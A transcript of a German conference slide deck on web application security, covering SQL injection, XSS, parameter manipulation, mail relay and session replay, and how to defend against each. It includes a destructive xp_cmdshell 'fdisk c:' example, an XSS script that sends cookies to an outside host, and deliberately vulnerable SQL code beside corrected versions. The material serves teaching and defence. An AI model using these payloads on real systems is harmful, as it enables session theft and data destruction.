Christian Wenz Karsten Samaschke Uwe Baumann

Slides:



Advertisements
Ähnliche Präsentationen
ASP.NET Application Security Uwe Baumann Technologieberater Developer Group Microsoft GmbH
Advertisements

DI Christian Donner cd (at) donners.com
SQL Injection – Funktionsweise und Gegenmaßnahmen
Warum WordPress Sicherung?
Be.as WEB Technologie
Präsentation des Abschlussprojektes Rudolf Berger
Was gibt´s neues im Bereich Sicherheit
Datenbankanbindung mit ASP Wilhelm-Schickard-Schule Tübingen
ASP.NET Tips & Tricks Uwe Baumann
Web-Entwicklung mit ASP.NET 2.0 und Visual Studio 2005 Uwe Baumann Marketing Manager Developer Tools Microsoft Deutschland GmbH Oliver Scheer Developer.
Web Matrix Project Kurzüberblick Dirk Primbs Technologieberater Developer Platform Strategy Group Microsoft Deutschland GmbH.
MySQL.
Aufbau des Internets Überblick Prof. Dr. T. Hildebrandt
Datenbankzugriff im WWW (Kommerzielle Systeme)
Seite 1Maria, Philipp, Herbert Seite 1 Fitnessplaner Ziele: >Fitnessplaner für Onlinebetrieb >Registrierung >individuelle Trainingsplanerstellung.
Erweiterung B2B Usermanagement / LDAP-Anbindung
Datenbankanbindung mit ASP Wilhelm-Schickard-Schule Tübingen
Oracle PL/SQL Server Pages (PSP). © Prof. T. Kudraß, HTWK Leipzig Grundidee: PSP – Internet-Seiten mit dynamischer Präsentation von Inhalten durch Einsatz.
Oracle WebServer - Einführung. © Prof. T. Kudraß, HTWK Leipzig Oracle Web Application Server HTML WebServer ® File system Static HTML PL/SQL Packages.
Spezielle Aspekte der Anbindung von Datenbanken im Web.
Technik Gestaltung Navigation Daten. Übersicht Client Webbrowser InternetServer.
Seminarvotrag: PHP Von Stefan Niemczyk.
Einführung MySQL mit PHP
Seite Common Gateway Interface. Konzepte. Übersicht 1Einleitung 2Was ist CGI? 3Wozu wird CGI verwendet? 4Geschichtlicher Überblick 5Grundvoraussetzungen.
YouTube5 .0 Projektpräsentation
Social Engineering – Christian Grafe
SQL PHP und MySQL Referat von Katharina Stracke und Carina Berning
Wir bauen uns eine Webapplikation!
Learning By Doing Thema 1: Dynamische Webseiten und Online Datenbanken (Jarka Arnold) Thema 2: Simulationen, Sound, Schnittstellen (Aegidius Plüss) Thema.
Grundlagen der sicheren PHP Programmierung Parametermanipulationen und Injektionslücken Stefan Esser Hardened-PHP Project.
Silverlight Eine Einführung. Agenda 1.Was ist Silverlight? 2.Die Silverlight Philosophie 3.Vorstellung des Szenarios 4.Einführendes Beispiel 5.Konzepte.
Entwicklung verteilter Anwendungen I, WS 13/14 Prof. Dr. Herrad Schmidt WS 13/14 Kapitel 11 Folie 2 Microsoft Internet Information Services (IIS)
1 Teil 2 Einblicke in Exchange 2003 (Basis Beta 2)
Erstellen einer Webseitenstatistik mithilfe eines OLAP-Servers
Präsentation von Sonja Pathe
Basiswissen für Partner und interessierte Kunden Technologie.
PHP und MYSQL am Organisatorisches Der komplette Kurs im Schnelldurchgang Bewertung von wichtig und unwichtig Historisch Kulturwissenschaftliche.
Grundlagen: Client-Server-Modell
Your name Bedeutung von Internet- Technologien Gruppe 1 Andreas Feuerstein Philipp Hochratner Christian Weinzinger.
Clientseitig Session IDs Erweiterungen wie NoScript Cookies verbieten Serverseitig Tokens HTML Entities verwenden 1.
Folgendes kann missbraucht werden: formulare unverschlüsselte login-informationen ungeschützte includes SQL-injection reto ambühler
Vergleich verschiedener Konzepte für das Software Engineering Praktikum.
Daniel Franke Tim Benedict Jagla Matthias Thimm
Präsentation von Lukas Sulzer
Absicherung eines produktiven Webservers und Entdeckung von Angreifern
Wie man Webanwendungen vor Angriffen schützen kann
Seite 1 - Security in TYPO3 Willkommen Security in (und rund um) TYPO3 Christian Kurta
Datenanbindung in Webapplikationen
Hacking InfoPoint Jörg Wüthrich Infopoint - Hacking - Jörg Wüthrich 2/26 Inhalte Rund um das Thema Hacking Angriffs-Techniken Session.
Mag. Andreas Starzer weloveIT – EDV Dienstleistungen
Warum IIS? Best of Microsoft Webserver
Exploiting Web Applications
Quelle: xkcd.com SQL Injections.
Webserver Apache & Xampp Referenten: Elena, Luziano und Sükran
Rechen- und Kommunikationszentrum (RZ) Sicherheitsorientierte Webentwicklung am Beispiel der Matse-Dienste Jan-Frederic Janssen.
Application Infrastructure Technologies Extending OnPremise EAI to the Cloud Wilfried Mausz BSc. dataformers GmbH Lothar Mausz dataformers.
1 PS The Weakest Link: SQL Injections Vortrag: SQL Injections Dominik Oepen und Sebastian Höfer
LINUX II Unit 7 LAMP Server. LAMP ● Linux – Apache - MySQL – PHP ● Leistungsfähiges und kostenloses System zur Genrierung von dynamischen Webseiten und.
Sicherheit in Webanwendungen „CrossSite“, „Session“ und „SQL“ Angriffstechniken und Abwehrmaßnahmen Mario Klump.
Chaosseminar Gefahren für den Internet Client. Angriffsscenario ● DSL / – Mit oder ohne WLAN AP? ● Öffentlicher Hotspot – Bahnhof / Flughafen.
Geräteverwaltung mit der Cloud
29. Magento Stammtisch Thema: IT-Sicherheit Gregor Bonney
Workshop 1 Getting Started 2016 Boris Wylutzki
D-SQL SQLization – endlich Client/Server!
• Projektdialog paralleler Plagiatschutz- projekte
ORACLE XE Bernd Tuba, Trier, Deutsche Post ITSolutions GmbH.
SLA Reporting leicht gemacht
Security Labor MitM-Demonstration
SOFTWARE- UND WEB-LÖSUNGEN
Schmock Mutter nicht ausreichend versorgt  fast verhungert Mutter bei Geburt verstorben Schmock mit Flasche aufgezogen.
 Präsentation transkript:

Christian Wenz Karsten Samaschke Uwe Baumann Web Hacking Christian Wenz Karsten Samaschke Uwe Baumann

Was Sie erwartet Was ist Web Application Security? Der (Anti-)Hacker-Grundkurs Wo lauern Gefahren? Was kann man dagegen tun? Weiterführende Informationen

Web Application Security Sicherheit der Webapplikation Nicht Bugs des Webservers Sicherheitslücken, die durch potentiell unsicheren Code entstehen Unabhängig von der verwendeten Technologie (ASP, ASP.NET, JSP, PHP...)

Ein großes Problem Viele Lücken sind bekannt Zahllose Whitepapers und Bücher Beispiel: „OWASP Top 10“ – Open Web Application Security Project http://www.owasp.org/ Viele Entwickler wiegen sich dennoch in falscher Sicherheit Motto: „Wir verwenden SSL!“ „There is no patch for stupidity“ [SQLSecurity]

Ein typischer Web Shop… Demo-Applikation mit Sicherheitslücken Finden wir die Lücken, die Hacker finden sie garantiert!

Hacker-Grundkurs: Wir kaufen billiger ein ... Z.B. Eine Firewall für €1,00 Wir ermitteln Passwörter ... Wir verschaffen uns Administrator-Zugriff ...

Let‘s Hack!

„Never trust the Client!“ Howard‘s zwei Grundregeln [Howard] „Jede Eingabe ist destruktiv, solange nicht das Gegenteil bewiesen ist.“ „Daten müssen überprüft werden, da sie die Grenzen zwischen vertrauenswürdigen und nicht vertrauenswürdigen Umgebungen überschreiten.“

Einige bekannte Angriffe

Parametermanipulation Cross Site Request Forgeries (CSRF) Angreifer verändert Übergabeparameter der Zielsite Daten in (verstecken) Formularfeldern, Querystrings Beispiel: Preisinformationen, Authorisierungsflags usw. Grundprinzip: Daten kommen per GET/POST an, also schreiben wir uns unser Formular selber!

Parametermanipulation: Abwehr Keine relevanten Parameter zum Client schicken Session-Objekt verwenden Parameter verschlüsseln / hashen Beispiel für ASP.NET: Viewstate MAC (Message Authentication Code) Nur wenn unbedingt nötig verwenden! Andere Technologien: Standard-Verschlüsselungsalgorithmen verwenden

SQL Injection Angriff Angreifer schiebt der Site SQL-Code unter Die Zielsite leitet den SQL-Code an die Datenbank weiter Möglich, wenn dynamische SQL-Strings generiert werden SQL-Code wird unter der Identität und mit den Rechten der Applikation ausgeführt Im Extremfall ist das Auslesen der gesamten Datenbank möglich

Advanced SQL Injection Union Attack Eine zweite Anfrage wird an eine bestehende Anfrage „angehängt“ Abfrage von Systemtabellen möglich Unendliche Möglichkeiten für den Angreifer Drop Table Attack Angreifer kann ganze Tabellen mit einem kurzen Befehl löschen! Shell Attack (nur MS SQL Server) xp_cmdshell 'fdisk c:'

SQL Injection: Abwehr Kein dynamisches SQL verwenden Auf keinen Fall dynamisches SQL verwenden Dynamisches SQL vermeiden Auch in Stored Procedures! Parameterisierte Abfragen verwenden Schneller und sicherer Code kann in einigen Technologien per Wizard erzeugt werden

  Code (ASP.NET) 'Assign the SQLcommand MyCommand.CommandType = CommandType.Text MyCommand.CommandText = _ "SELECT * FROM Products WHERE OrderCode='" & OrderCode & "'" 'Execute the command MyConnection.Open() Dim MyReader As SqlDataReader = MyCommand.ExecuteReader(CommandBehavior.CloseConnection) ' Assign the SQLcommand MyCommand.CommandType = CommandType.Text MyCommand.CommandText = _ "SELECT * FROM Products WHERE OrderCode=@OrderCode" MyCommand.Parameters.Add(New System.Data.SqlClient.SqlParameter("@OrderCode", System.Data.SqlDbType.VarChar, 10, "OrderCode")).Value = OrderCode ' Execute the command MyConnection.Open() Dim MyReader As SqlDataReader = MyCommand.ExecuteReader(CommandBehavior.CloseConnection) 

Code (PHP/MySQL)  <?php $db = mysql_connect('server', 'user', 'passwort'); $sql = sprintf( 'SELECT * FROM users WHERE username='%s' AND password='%s', $_POST['name'], $_POST['pwd']); $ergebnis = mysql_query($sql, $db); ?> <?php $db = mysql_connect('server', 'user', 'passwort'); $sql = sprintf( 'SELECT * FROM users WHERE username='%s' AND password='%s', mysql_real_escape_string($_POST['name']), mysql_real_escape_string($_POST['pwd'])); $ergebnis = mysql_query($sql, $db); ?>  *Überprüfung, ob $_POST gefüllt ist, entfällt aus Platzgründen

Prepared Statements (MySQLi) <?php $db = mysqli_connect('server', 'user', 'passwort'); $sql = mysqli_prepare($db, 'SELECT * FROM users WHERE username=? AND password=?'); mysqli_stmt_bind_param( $sql, 'ss', $_POST['name'], $_POST['pwd']); mysqli_stmt_execute($sql); ?>  *Überprüfung, ob $_POST gefüllt ist, entfällt aus Platzgründen

SQL Injection: Abwehr (2) Minimale Rechte für die Applikation vergeben Schützt vor dem Supergau LPAs (Low Privilege Accounts) zur Applikationsausführung und auf der Datenbank anlegen Applikation darf nicht Owner der Datenbanktabelle sein

Cross-Site Scripting (XSS) Angriff Angreifer zwingt die Zielsite zur Anzeige von Skriptcode Unendliche Möglichkeiten für den Angreifer Ausführen von schädlichem Code Umleitung auf andere Site Ausspionieren von Cookies <script language="JavaScript"><!-- location.href="http://3733+.de/?"+document.cookie //--></script>

XSS: Abwehr Validierung von Parametern Auf potentiell unsichere Zeichen und Tags prüfen „<script>“ etc.)  Eingaben mit HtmlEncode() umwandeln ASP.NET 1.1 nimmt Überprüfung automatisch vor und generiert Fehler (abfangen!) ASP.NET 1.0 verlangt manuelle Überprüfung PHP: htmlspecialchars() Java: selbst schreiben

XSS: Fallen Keine „Reparaturversuche“ unternehmen Frage lautet: „Was ist illegal?“ „Escaping“ (Verdoppeln) von Hochkommata Suchen nach speziellen Zeichen wie < etc. Besser: Definition der legalen Zeichen Frage lautet: „Was ist legal?“ Dynamische Ausgaben prüfen Ein AAAAAAAAAA…A zerstört jedes Design Abhilfe in PHP: wordwrap()

Open Mail Relay Angriff Angreifer sendet Mail über die Zielsite Möglich, wenn die Zielsite die Mailempfänger als Eingabeparameter akzeptiert Angreifer kann Versand automatisieren, um Spam zu verschicken Allgemein riskant: Formular-Mailversand Wird zurzeit gerne von Spammern verwendet Eingabevalidierung

Open Mail Relay: Abwehr Validierung von Parametern Keine frei wählbaren Empfängeradressen zulassen Seite zum Mailversand ggf. hinter die Autorisierungsgrenze verlegen

Replay-Angriff Angreifer „klaut“ Session-Cookie Möglich durch XSS-Angriff, Abfangen der HTTP-Kommunikation, Social Engineering, Umgebungsvariable HTTP_REFERER Cookie enthält die Session-ID eines Users Angreifer kann sich als dieser User „tarnen“ [Finnel]

Replay-Angriff: Abwehr Kommunikation über SSL (HTTPS) Nachteil: Sehr hoher Rechenaufwand IIS 6: Bessere Unterstützung von SSL Hardwarelösungen Cross-Site-Scripting ausschließen Session an IP-Adresse binden HTTP_REFERER-Check (nicht in jedem Webbrowser )

Weitere Tipps

Datenbank absichern MSSQL: Trusted Connections verwenden Verwendet NTLM zwischen Applikation und SQL Server Kein Klartextpasswort im Connection String Leider nur für SQL Server möglich Verwendung von IPSec erwägen Verschlüsselung von Kommunikation zwischen Applikationsserver und Datenbankserver uvm. SQL Server Best Practices Analyzer 1.0 [SQLBPA]

Low Privilege Account (LPA) So viele Rechte wie nötig, so wenig wie möglich Bestimmte Rechte sind zur Applikationsausführung nötig Alle anderen Rechte sollten nur nach weiser Überlegung gewährt werden Genaue Anforderungen für LPAs sind dokumentiert [Finnel]

Microsoft Baseline Security Analyzer 2.0 Identifiziert problematische Konfigurationen Prüft Updatelevel Erstellt Reports Macht Vorschläge Gibt Informationen Prüft Windows, IIS, SQL uvm. Lokal und Remote

IIS Lockdown Tool 2.1 Deaktiviert nicht genützte Features Rollenbasiert, z.B. Webserver, Messaging etc. URLScan filtert potentiell unsichere HTTP-Requests Filterregeln frei konfigurierbar ASP.NET Debugging: [Q310588] beachten!

Microsoft Security Bulletins Wichtigste Ressource für Security Patches „Hätten wir nur früher reagiert...!“ Code Red SQL Slammer

Vielen Dank! Fragen kostet nichts ... Eine geknackte Website schon! Besser paranoid als offline ™

Weitere Informationen [Q329290] Verschlüsselte web.config-Einträge: http://support.microsoft.com/default.aspx?scid=kb;EN-US;329290#3 [Wintellect] Wintellect ASP.NET FAQ (mit vielen Security-Fragen) http://www.wintellect.com/resources/faqs/default.aspx?faq_id=1&page=1 [Finnel] “Patterns and Practices: Building Secure ASP.NET Applications”. Lynn Finnel (ed.). Microsoft Press, 2003. ISBN 0-7356-1890-9. Buch als PDF File: http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dnnetsec/html/secnetlpMSDN.asp [Howard] „Sichere Software programmieren“. Michael Howard, David LeBlanc. Microsoft Press, 2002. ISBN 3-86063-674-X. [Basiura] „Professional ASP.NET Security“. Russ Basiura et al. Wrox Press, 2002. ISBN 1-86100-620-9.

Weitere Informationen [OWASP] The Open Web Application Security Project http://www.owasp.org [OWASPTop10] „The 10 Most Critical Web Application Vulnerablity“ http://prdownloads.sourceforge.net/owasp/OWASPTopTen2004.pdf?download [SQLSecurity] SQLSecurity.com http://www.sqlsecurity.com [SQLSecLock] SQLSecurity Checklist http://www.sqlsecurity.com/DesktopDefault.aspx?tabindex=3&tabid=4 [AdvSQLInj] „Advanced SQL Injection In SQL Server Applications“. Chris Anley. http://www.nextgenss.com/papers/advanced_sql_injection.pdf [SQLBPA] Microsoft SQL Server 2000 Best Practices Analyzer 1.0 Beta http://www.microsoft.com/downloads/details.aspx?FamilyId=B352EB1F-D3CA-44EE-893E-9E07339C1F22&displaylang=en

Weitere Informationen [QDefense] „AdCycle AdCycle SQL Command Insertion Vulnerability” (Beispiel für SQL Injection) http://qdefense.com/Advisories/QDAV-2001-7-2.html [MBSA] Microsoft Baseline Security Analyser http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/tools/mbsahome.asp [Q310588] “PRB: Security Toolkit Breaks ASP.NET Debugging in Visual Studio .NET” http://support.microsoft.com/default.aspx?scid=kb;en-us;310588 [MSSec] Microsoft Security Bulletins http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/